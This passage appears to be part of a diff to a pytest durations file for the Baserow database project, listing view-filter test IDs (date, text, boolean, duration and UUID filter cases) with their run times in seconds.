"tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_equal_filter_text_field_types[long_text_field_factory]": 0.28281995802535675, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_equal_filter_text_field_types[phone_number_field_factory]": 0.24490358305047266, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_equal_filter_text_field_types[text_field_factory]": 0.26526887400541455, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_equal_filter_text_field_types[url_field_factory]": 0.24359991698293015, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_equal_filter_uuid_field_types": 0.2244986249716021, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_or_doesnt_have_value_contains_filter_multiple_collaborators_lookup_field_types": 0.5628079170419369, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_or_doesnt_have_value_contains_filter_multiple_select_field_types": 0.27378229302121326, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_or_doesnt_have_value_contains_word_filter_multiple_collaborators_lookup_field_types": 0.5549392920220271, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_or_doesnt_have_value_contains_word_filter_multiple_select_field_types": 0.2923718749952968, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_or_doesnt_have_value_equal_filter_multiple_collaborators_lookup_field_types": 0.5483251250116155, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_or_doesnt_have_value_equal_filter_multiple_select_field_types": 0.34230816701892763, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_or_has_not_empty_value_filter_date_field_types[date_field_factory]": 0.18080533301690593, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_or_has_not_empty_value_filter_date_field_types[datetime_field_factory]": 0.19867262401385233, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_or_has_not_empty_value_filter_duration_lookup_type": 0.23402108400478028, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_or_has_not_empty_value_filter_multiple_collaborators_lookup_type": 0.5997380000189878, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_or_has_not_empty_value_filter_multiple_select_field_types": 0.2694629590259865, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_or_has_not_value_contains_filter_date_field_types[date_field_factory]": 0.19967904200893827, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_or_has_not_value_contains_filter_date_field_types[datetime_field_factory]": 0.20532300096238032, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_or_has_not_value_equal_duration_lookup_type": 0.239910583011806, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_or_has_not_value_higher_or_equal_than_filter_duration_lookup_type": 0.23880054202163592, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_or_has_not_value_higher_than_filter_duration_lookup_type": 0.24976870699902065, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_or_has_not_value_lower_or_equal_than_filter_duration_lookup_type": 0.2452921670046635, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_or_has_not_value_lower_than_filter_duration_lookup_type": 0.2468654990370851, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_contains_filter_single_select_field": 0.23789383401162922, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_contains_filter_text_field_types[email_field_factory]": 0.2598965000070166, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_contains_filter_text_field_types[long_text_field_factory]": 0.23584516596747562, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_contains_filter_text_field_types[phone_number_field_factory]": 0.25993458498851396, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_contains_filter_text_field_types[text_field_factory]": 0.2622374589846004, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_contains_filter_text_field_types[url_field_factory]": 0.2771039580111392, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_contains_filter_uuid_field_types": 0.2569763339997735, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_contains_word_filter_single_select_field": 0.26066620895289816, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_contains_word_filter_text_field_types[email_field_factory]": 0.2410917510278523, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_contains_word_filter_text_field_types[long_text_field_factory]": 0.26090258301701397, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_contains_word_filter_text_field_types[phone_number_field_factory]": 0.17062779096886516, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_contains_word_filter_text_field_types[text_field_factory]": 0.2586806259932928, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_contains_word_filter_text_field_types[url_field_factory]": 0.2711662080255337, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_contains_word_filter_uuid_field_types": 0.277724165993277, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_equal_filter_boolean_lookup_field_type[has_value_equal--expected_rows6]": 0.22850175001076423, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_equal_filter_boolean_lookup_field_type[has_value_equal-0-expected_rows0]": 0.2222735839895904, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_equal_filter_boolean_lookup_field_type[has_value_equal-1-expected_rows1]": 0.18966804098454304, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_equal_filter_boolean_lookup_field_type[has_value_equal-False-expected_rows4]": 0.23424104100558907, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_equal_filter_boolean_lookup_field_type[has_value_equal-True-expected_rows5]": 0.2503063330077566, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_equal_filter_boolean_lookup_field_type[has_value_equal-f-expected_rows2]": 0.23381166698527522, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_equal_filter_boolean_lookup_field_type[has_value_equal-invalid-expected_rows7]": 0.22063112401519902, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_equal_filter_boolean_lookup_field_type[has_value_equal-t-expected_rows3]": 0.22664062399417162, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_equal_filter_single_select_field": 0.25872454201453365, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_equal_filter_text_field_types[email_field_factory]": 0.22564712501480244, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_equal_filter_text_field_types[long_text_field_factory]": 0.235975876043085, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_equal_filter_text_field_types[phone_number_field_factory]": 0.24354604099062271, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_equal_filter_text_field_types[text_field_factory]": 0.6153784989728592, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_equal_filter_text_field_types[url_field_factory]": 0.22487849998287857, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_equal_filter_uuid_field_types": 0.23789874897920527, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_length_is_lower_than_text_field_types[email_field_factory]": 0.26319937498192303, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_length_is_lower_than_text_field_types[long_text_field_factory]": 0.2567058749846183, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_length_is_lower_than_text_field_types[phone_number_field_factory]": 0.25064020897843875, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_length_is_lower_than_text_field_types[text_field_factory]": 0.2955780830234289, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_length_is_lower_than_text_field_types[url_field_factory]": 0.2553782929899171, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_length_is_lower_than_uuid_field_types": 0.23124266797094606, + "tests/baserow/contrib/database/view/test_view_filters.py::test_after_or_equal_date_view_filter": 0.13986499901511706, + "tests/baserow/contrib/database/view/test_view_filters.py::test_after_or_equal_datetime_view_filter": 0.13994145902688615, + "tests/baserow/contrib/database/view/test_view_filters.py::test_all_view_filters_can_accept_strings_as_filter_value": 5.490966001030756, + "tests/baserow/contrib/database/view/test_view_filters.py::test_before_or_equal_date_view_filter": 0.1422005420026835, + "tests/baserow/contrib/database/view/test_view_filters.py::test_before_or_equal_datetime_view_filter": 0.14459458200144581, + "tests/baserow/contrib/database/view/test_view_filters.py::test_boolean_filter_type": 0.17312229200615548, + "tests/baserow/contrib/database/view/test_view_filters.py::test_can_mix_field_types_and_callables_in_compatible_field_types": 0.05844350002007559, + "tests/baserow/contrib/database/view/test_view_filters.py::test_can_use_a_callable_in_compatible_field_types": 0.07552012597443536, + "tests/baserow/contrib/database/view/test_view_filters.py::test_contains_filter_type": 0.2954199999803677, + "tests/baserow/contrib/database/view/test_view_filters.py::test_contains_not_filter_type": 0.25687095898319967, + "tests/baserow/contrib/database/view/test_view_filters.py::test_contains_word_filter_type": 0.3024095399887301, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_after_days_ago_filter_type": 0.6367455840227194, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_after_filter_type": 0.14300524999271147, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_before_after_today_filter_type": 0.16494225003407337, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_before_filter_type": 0.15829866600688547, "tests/baserow/contrib/database/view/test_view_filters.py::test_date_day_month_year_filter_type": 0.11516818400195916, "tests/baserow/contrib/database/view/test_view_filters.py::test_date_day_week_month_year_filter_type": 0.12487193799825036, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_filter_type": 0.2032523339985346, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_filter_type_with_timezone": 0.20549095899878012, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-exact_date-2024-05-24-expected_results20]": 0.211763458999485, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-next_month--expected_results10]": 0.2002630010001667, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-next_week--expected_results9]": 0.20733504199961317, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-next_year--expected_results11]": 0.2010639580003044, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-nr_days_ago-7-expected_results12]": 0.19914499999867985, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-nr_days_from_now-7-expected_results16]": 0.20006320899938146, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-nr_months_ago-1-expected_results14]": 0.20451187700109585, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-nr_months_from_now-1-expected_results18]": 0.19872041599955992, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-nr_weeks_ago-1-expected_results13]": 0.19987562600181263, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-nr_weeks_from_now-1-expected_results17]": 0.19967770800030848, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-nr_years_ago-1-expected_results15]": 0.20471266599997762, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-nr_years_from_now-1-expected_results19]": 0.20109512499948323, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-one_month_ago--expected_results4]": 0.200234625000121, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-one_week_ago--expected_results3]": 0.21099954199962667, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-one_year_ago--expected_results5]": 0.1991495410011339, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-this_month--expected_results7]": 0.19883008300075744, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-this_week--expected_results6]": 0.19929312499880325, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-this_year--expected_results8]": 0.20098308299930068, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-today--expected_results1]": 0.20019733299977815, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-tomorrow--expected_results2]": 0.19791729299959115, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is-yesterday--expected_results0]": 0.19972304200018698, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-exact_date-2024-05-24-expected_results104]": 0.19921570800033805, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-next_month--expected_results94]": 0.2091953339986503, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-next_week--expected_results93]": 0.19971075100056623, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-next_year--expected_results95]": 0.20417308300056902, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-nr_days_ago-7-expected_results96]": 0.20172020899917698, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-nr_days_from_now-7-expected_results100]": 0.20557116700001643, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-nr_months_ago-1-expected_results98]": 0.20033445799981564, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-nr_months_from_now-1-expected_results102]": 0.19924091799930466, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-nr_weeks_ago-1-expected_results97]": 0.20263450099992042, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-nr_weeks_from_now-1-expected_results101]": 0.20111479100069118, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-nr_years_ago-1-expected_results99]": 0.20252241700018203, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-nr_years_from_now-1-expected_results103]": 0.19843204200060427, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-one_month_ago--expected_results88]": 0.20532512499994482, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-one_week_ago--expected_results87]": 0.20094316699942283, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-one_year_ago--expected_results89]": 0.20667329099887866, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-this_month--expected_results91]": 0.20276779199957673, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-this_week--expected_results90]": 0.20533745899865607, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-this_year--expected_results92]": 0.19977037499938888, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-today--expected_results85]": 0.20777662400087138, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-tomorrow--expected_results86]": 0.20210029099962412, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_after-yesterday--expected_results84]": 0.20462504100123624, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-exact_date-2024-05-24-expected_results62]": 0.20100933400044596, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-next_month--expected_results52]": 0.19961170900023717, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-next_week--expected_results51]": 0.19958495900027629, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-next_year--expected_results53]": 0.2020339589980722, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-nr_days_ago-7-expected_results54]": 0.20626712499961286, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-nr_days_from_now-7-expected_results58]": 0.20430462499916757, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-nr_months_ago-1-expected_results56]": 0.22048766600073577, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-nr_months_from_now-1-expected_results60]": 0.20976825099933194, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-nr_weeks_ago-1-expected_results55]": 0.21313733300030435, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-nr_weeks_from_now-1-expected_results59]": 0.20348383400050807, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-nr_years_ago-1-expected_results57]": 0.2104833340008554, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-nr_years_from_now-1-expected_results61]": 0.20444729199971334, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-one_month_ago--expected_results46]": 0.20538395899893658, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-one_week_ago--expected_results45]": 0.19803520899949945, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-one_year_ago--expected_results47]": 0.19895341700066638, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-this_month--expected_results49]": 0.20298966599875712, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-this_week--expected_results48]": 0.20228720899831387, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-this_year--expected_results50]": 0.1980978760002472, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-today--expected_results43]": 0.20344025000031252, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-tomorrow--expected_results44]": 0.19904562499868916, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_before-yesterday--expected_results42]": 0.19959924900012993, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-exact_date-2024-05-24-expected_results41]": 0.1984729170007995, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-next_month--expected_results31]": 0.21176125000056345, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-next_week--expected_results30]": 0.19908908300021722, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-next_year--expected_results32]": 0.20040229200003523, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-nr_days_ago-7-expected_results33]": 0.19972720900022978, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-nr_days_from_now-7-expected_results37]": 0.2088464999997086, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-nr_months_ago-1-expected_results35]": 0.19853174999934708, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-nr_months_from_now-1-expected_results39]": 0.1988134990006074, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-nr_weeks_ago-1-expected_results34]": 0.19984683300117467, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-nr_weeks_from_now-1-expected_results38]": 0.20084670900087076, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-nr_years_ago-1-expected_results36]": 0.19740100000035454, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-nr_years_from_now-1-expected_results40]": 0.2000930829999561, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-one_month_ago--expected_results25]": 0.20387929199932842, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-one_week_ago--expected_results24]": 0.19929333399977622, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-one_year_ago--expected_results26]": 0.20374791599988384, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-this_month--expected_results28]": 0.20039571000052092, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-this_week--expected_results27]": 0.20454958300069848, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-this_year--expected_results29]": 0.19852187500055152, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-today--expected_results22]": 0.20063008299985086, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-tomorrow--expected_results23]": 0.1997661240002344, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_not-yesterday--expected_results21]": 0.4063481249995675, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-exact_date-2024-05-24-expected_results125]": 0.1997914990006393, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-next_month--expected_results115]": 0.19807012399996893, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-next_week--expected_results114]": 0.1986328749999302, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-next_year--expected_results116]": 0.20816237399958482, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-nr_days_ago-7-expected_results117]": 0.2047555420003846, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-nr_days_from_now-7-expected_results121]": 0.20081179099997826, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-nr_months_ago-1-expected_results119]": 0.20046649999949295, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-nr_months_from_now-1-expected_results123]": 0.20534437499918567, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-nr_weeks_ago-1-expected_results118]": 0.20009954099987226, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-nr_weeks_from_now-1-expected_results122]": 0.20804308199876687, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-nr_years_ago-1-expected_results120]": 0.20145612600026652, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-nr_years_from_now-1-expected_results124]": 0.19944879299964668, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-one_month_ago--expected_results109]": 0.19887616599953617, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-one_week_ago--expected_results108]": 0.19968158299980132, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-one_year_ago--expected_results110]": 0.20399012599955313, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-this_month--expected_results112]": 0.20055491599941888, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-this_week--expected_results111]": 0.20385245900070004, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-this_year--expected_results113]": 0.20405358500011062, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-today--expected_results106]": 0.20475504099977115, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-tomorrow--expected_results107]": 0.36668045799979154, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_after-yesterday--expected_results105]": 0.2034776239997882, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-exact_date-2024-05-24-expected_results83]": 0.20357987500028685, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-next_month--expected_results73]": 0.2001817509999455, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-next_week--expected_results72]": 0.19905108300099528, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-next_year--expected_results74]": 0.20171562600080506, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-nr_days_ago-7-expected_results75]": 0.20188604200029658, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-nr_days_from_now-7-expected_results79]": 0.19973566599946935, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-nr_months_ago-1-expected_results77]": 0.2041620830004831, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-nr_months_from_now-1-expected_results81]": 0.20370195800023794, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-nr_weeks_ago-1-expected_results76]": 0.20338637400072912, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-nr_weeks_from_now-1-expected_results80]": 0.20202391699967848, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-nr_years_ago-1-expected_results78]": 0.2017562490000273, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-nr_years_from_now-1-expected_results82]": 0.2045215409989396, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-one_month_ago--expected_results67]": 0.20160666799984028, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-one_week_ago--expected_results66]": 0.20656170900110737, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-one_year_ago--expected_results68]": 0.375925668000491, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-this_month--expected_results70]": 0.19946249999975407, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-this_week--expected_results69]": 0.20031954200021573, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-this_year--expected_results71]": 0.2096764579991941, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-today--expected_results64]": 0.19974091600033717, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-tomorrow--expected_results65]": 0.20135279200076184, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_multi_step_operator_view_filter_type[date_is_on_or_before-yesterday--expected_results63]": 0.2008893749989511, + "tests/baserow/contrib/database/view/test_view_filters.py::test_date_equal_filter_type": 0.16009845797088929, 